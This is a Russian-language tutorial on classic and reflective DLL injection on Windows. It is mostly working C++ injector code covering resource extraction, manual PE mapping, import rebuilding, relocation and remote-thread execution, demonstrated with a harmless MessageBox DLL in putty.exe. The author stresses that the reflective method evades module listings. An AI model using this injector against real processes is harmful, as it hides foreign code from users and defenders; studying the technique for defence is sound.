Отражающая DLL инъекция

Чтобы полностью понять содержание этой статьи, необходимы знания:

  • C/C ++
  • WinAPI
  • Виртуальная память
  • Формат файла PE

DLL инъекция

DLL инъекция осуществляется путем внедрения DLL в пространство другого процесса и последующего выполнение его кода.

Примером может послужить ​​следующим фрагментом кода:

VOID InjectDll(HANDLE hProcess, LPCSTR lpszDllPath) 
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, lpBaseAddress, lpszDllPath, dwDllPathLen, &dwWritten);
	HMODULE hModule = GetModuleHandle("kernel32.dll");
	LPVOID lpStartAddress = GetProcAddress(hModule, "LoadLibraryA");
	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
}

Первым шагом является выделение места в пространстве виртуальной памяти целевого процесса, что можно сделать с помощью функции VirtualAllocEx, указав дескриптор процесса. Затем мы можем использовать WriteProcessMemoryдля записи данных в процесс, используя полный путь к полезной нагрузке DLL. Чтобы выполнить код, все , что мы должны сделать это восстановить LoadLibraryфункцию из kernel32модуля , а затем вызвать CreateRemoteThreadдля выполнения LoadLibrary в целевом процессе , чтобы заставить загрузить полезную нагрузку DLL в качестве библиотеки. В результате она немедленно выполнит DllMainс указанием.

Вот пример кода DLL, который я буду использовать для демонстрации:

BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved) 
{
    ::MessageBox(NULL, L"Hello world!", L"Test DLL", MB_OK);
    return TRUE;
}

Отражающая DLL инъекция (Reflective DLL Injection)

В предыдущем коде внедрения DLL источник DLL получен по полному пути на диске. Из-за этого такой метод не очень скрытный, а также данная зависимость может быть проблемой в случае разделения.

Эти проблемы могут быть решены с помощью Reflective DLL инъекции,которая позволяет получать DLL в форме необработанных данных.

Чтобы иметь возможность вводить данные в целевой процесс, мы должны вручную отобразить бинарник в виртуальную память, как это делал бы загрузчик образов Windows при вызове LoadLibrary.

Вот краткое описание шагов алгоритма, которые будут выполнены для внедрения DLL в внешний процесс:

  1. Получение полезной нагрузки DLL
  2. Отображение DLL в памяти
  3. После отображения его в память, его таблица импорта должна быть перестроена
  4. Сопоставление DLL целевому процессу
  5. Сопоставленный DLL записывается в целевой процесс.

Извлечение из ресурсов Чтобы сохранить DLL вместе с инжектором как единое целое, мы можем воспользоваться разделом ресурсов формата PE.

Извлечение необработанного двоичного файла DLL является тривиальной задачей, которую можно выполнить с помощью API ресурса. Перед извлечением мы должны проверить, существует ли DLL в ресурсах следующим образом:

BOOL CALLBACK EnumResNameProc (HMODULE hModule, LPCWSTR lpszType, LPWSTR lpszName, LONG_PTR lParam)
{
    HRSRC *h = reinterpret_cast<HRSRC *>(lParam);
    HRSRC hRsrc = ::FindResource(hModule, lpszName, lpszType);
    
    if (!hRsrc) 
        return TRUE;
    else 
    {
        *h = hRsrc;
        return FALSE;
    }
    
    return TRUE;
}

bool Injector::HasPayload()
{
    HMODULE hModule = ::GetModuleHandle(NULL);
    if (!hModule) 
        return false;
      
    HRSRC hRsrc = NULL;
    if (!::EnumResourceNames(hModule, L"PAYLOAD", EnumResNameProc, reinterpret_cast<LPARAM>(&hRsrc)) && 
        GetLastError() != ERROR_RESOURCE_ENUM_USER_STOP)
        return false;
   
    if (!hRsrc) 
        return false;
   
    this->payload->hResPayload = hRsrc;
   
    return true;
}

Приведенный выше код будет перечислять все ресурсы типа PAYLOAD и, если выполнение будет успешным, то будет взят дескриптор ресурса путем вызова FindResource. Получив дескриптор, мы можем получить указатель на необработанные двоичные данные и скопировать их в память, используя следующую функцию:

bool Injector::LoadFromResource() 
{
    DWORD dwSize = ::SizeofResource(::GetModuleHandle(NULL), this->payload->hResPayload);
    HGLOBAL hResData = ::LoadResource(NULL, this->payload->hResPayload);
    
    if (hResData) 
    {
        LPVOID lpPayload = ::LockResource(hResData);
        if (lpPayload) 
        {
            if (MemoryMapPayload(lpPayload))
                return true;
        }
    }
    
    return false;
}

Имейте в виду, что после вызова LockResource указатель на ресурс DLL доступен только для чтения, а данные представлены в виде диска, что означает, что все смещения - это смещение файлов, а не смещения памяти.

Отображение в память Нам понадобится преобразовать его в форму памяти для дальнейшей обработки, для этого мы можем проанализировав его структуру и отобразить его в пространство памяти.

bool Injector::MemoryMapPayload(LPVOID lpPayload) 
{
    PIMAGE_DOS_HEADER pidh = reinterpret_cast<PIMAGE_DOS_HEADER>(lpPayload);
    PIMAGE_NT_HEADERS pinh = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(lpPayload) + pidh->e_lfanew);
    
    HANDLE hMapping = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, pinh->OptionalHeader.SizeOfImage, NULL);
    if (hMapping) 
    {
        LPVOID lpMapping = ::MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0);
        if (lpMapping) 
        {
            //сопоставим полезную нагрузку с памятью
            ::CopyMemory(lpMapping, lpPayload, pinh->OptionalHeader.SizeOfHeaders);
            
		    //скопируем разделы
		    for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) 
		    {
		         PIMAGE_SECTION_HEADER pish = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<DWORD>(lpPayload) + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
		         ::CopyMemory(reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(lpMapping) + pish->VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(lpPayload) + pish->PointerToRawData), pish->SizeOfRawData);
            }
            
            this->vPayloadData = std::vector<BYTE>(reinterpret_cast<LPBYTE>(lpMapping), reinterpret_cast<LPBYTE>(lpMapping) + pinh->OptionalHeader.SizeOfImage);
            ::UnmapViewOfFile(lpMapping);
			::CloseHandle(hMapping);
			return true;
		}
		::CloseHandle(hMapping);
	}
	
	return false;
}

Здесь сегмент памяти отображается так, что мы можем преобразовать бинарный файл в его отображенный в памяти аналог. Разделы сначала копируются в память, поскольку они совпадают с объектом диска и образом памяти. Далее перечисляются заголовки разделов, чтобы собрать виртуальные смещения самих разделов, которые используются для вставки разделов в их соответствующие области. После завершения преобразования мы можем просто сохранить его и очистить отображенную память.

Пересборка и внедрение DLL

Прежде чем пересобрать библиотеку DLL, мы должны сначала проверить, существует ли целевой процесс, и, если он существует, получить дескриптор к нему. Мы можем сделать это, перечислив все запущенные процессы и затем сравнив их имена:

bool Injector::GetProcess() 
{
    PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	
	if (Process32First(hSnapshot, &pe32)) 
	{
	    while (Process32Next(hSnapshot, &pe32)) 
	    {
	        if (wcsicmp(pe32.szExeFile, this->szProcessName.c_str()) == 0) 
	        {
				HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | 
					PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | 
					PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
				::CloseHandle(hSnapshot);

				this->payload->hProcess = hProcess;
				return true;
			}
		}
	}
	else
		return ::CloseHandle(hSnapshot), false;
	return false;
}

Теперь мы можем проверить, можем ли мы выделить некоторую память в адресном пространстве целевого процесса. Для этого мы можем использовать VirtualAllocEx функцию, указав дескриптор процесса и размер изображения:

this->payload->lpAddress = ::VirtualAllocEx(this->payload->hProcess, NULL, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if (!this->payload->lpAddress)
					return Debug(L"Failed to allocate space: %lu\n", GetLastError()), false;

Как только мы подтвердим, что есть свободное место, мы можем перейти к пересоберем DLL. Пересоберем таблицы импорта:

bool Injector::RebuildImportTable(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh) 
{
    if (pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) 
    {
		PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(reinterpret_cast<DWORD>(lpBaseAddress) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
		while (pImportDescriptor->Name != NULL) 
		{
		    LPSTR lpLibrary = reinterpret_cast<PCHAR>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->Name);
		    HMODULE hLibModule = ::LoadLibraryA(lpLibrary);
			
			PIMAGE_THUNK_DATA nameRef = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->Characteristics);
			PIMAGE_THUNK_DATA symbolRef = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->FirstThunk);
			PIMAGE_THUNK_DATA lpThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->FirstThunk);
			
			for (; nameRef->u1.AddressOfData; nameRef++, symbolRef++, lpThunk++) 
			{
				if (nameRef->u1.AddressOfData & IMAGE_ORDINAL_FLAG)
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, MAKEINTRESOURCEA(nameRef->u1.AddressOfData));
				else 
				{
					PIMAGE_IMPORT_BY_NAME thunkData = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(reinterpret_cast<DWORD>(lpBaseAddress) + nameRef->u1.AddressOfData);
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, reinterpret_cast<LPCSTR>(&thunkData->Name));
				}
			}
			
			::FreeLibrary(hLibModule);
			pImportDescriptor++;
		}
	}
	
	return true;
}	

По сути, таблица импорта получается через структуру необязательного заголовка в формате PE и обходит ее, извлекая имена импортированных функций, а затем перезаписывает FirstThunk адреса. Для этого сначала нужно получить библиотеку, содержащую функцию LoadLibrary, а затем вызвать GetProcAddress для получения соответствующего адреса.

Следующим шагом является перемещение адреса с помощью таблицы перемещения. Дельта фактического выделенного базового адреса в целевом процессе вместе с исходным базовым адресом вычисляется с помощью простого вычитания:

DWORD dwDelta = reinterpret_cast<DWORD>(this->payload->lpAddress) - pinh->OptionalHeader.ImageBase;

Как и в таблице импорта, данные в таблице перемещения применяются с соответствующим смещением по указанным адресам с использованием вычисленной дельты:

bool Injector::BaseRelocate(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh, DWORD dwDelta) 
{
    IMAGE_BASE_RELOCATION* r = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD>(lpBaseAddress) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    IMAGE_BASE_RELOCATION* r_end = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD_PTR>(r) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - sizeof(IMAGE_BASE_RELOCATION));
    for (; r < r_end; r = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD_PTR>(r) + r->SizeOfBlock)) 
    {
		WORD* reloc_item = reinterpret_cast<WORD*>(r + 1);
		DWORD num_items = (r->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
		
		for (DWORD i = 0; i < num_items; ++i, ++reloc_item) 
		{
			switch (*reloc_item >> 12) 
			{
			case IMAGE_REL_BASED_ABSOLUTE:
				break;
			case IMAGE_REL_BASED_HIGHLOW:
				*(DWORD_PTR*)(reinterpret_cast<DWORD>(lpBaseAddress) + r->VirtualAddress + (*reloc_item & 0xFFF)) += dwDelta;
				break;
			default:
				return false;
			}
		}
	}
	
	return true;
}

Теперь, когда мы восстановили то, что должно быть восстановлено, и распределили память во внешнем процессе, мы можем просто написать весь двоичный файл, используя WriteProcessMemory:

if (!::WriteProcessMemory(this->payload->hProcess, this->payload->lpAddress, this->vPayloadData.data(), pinh->OptionalHeader.SizeOfImage, NULL))
		return Debug(L"Failed write payload: %lu\n", GetLastError()), false;

Выполнение DLL

Выполнение почти такое же, как и при обычном внедрении DLL с использованием вызова CreateRemoteThread. Единственная разница здесь в том, что мы не будем использовать LoadLibrary, но вместо этого мы будем использовать адрес значения точки входа непосредственно из DLL, которая должна бытьDllMain.

this->payload->dwEntryPoint = reinterpret_cast<DWORD>(this->payload->lpAddress) + pinh->OptionalHeader.AddressOfEntryPoint;

HANDLE hThread = ::CreateRemoteThread(this->payload->hProcess, NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(payload->dwEntryPoint), NULL, 0, NULL);

Вот и все!)

Демонстрация

В этой демонстрации я буду использовать, putty.exe, потому что я не могу использовать explorer.exe,потому что это 64-битный процесс по сравнению с моим 32-битным инжектором и DLL. Кроме того, у меня нигде нет 32-битной виртуалки. Я также буду использовать инструмент мониторинга Process Hacker для просмотра результата внедрения DLL.

Обычная DLL инъекция

Вот результат обычного метода внедрения DLL:

Мы можем видеть, что он четко отображается в списке загруженных модулей и очевидно, что в затронутом процессе присутствует посторонний код.

Отражающая DLL инъекция

Давайте теперь проверим метод внедрения отражающей DLL:

И здесь нет названия для этого блока памяти. Помимо RWX разрешений, нет никаких явных признаков того, что существует какой-либо сторонний код!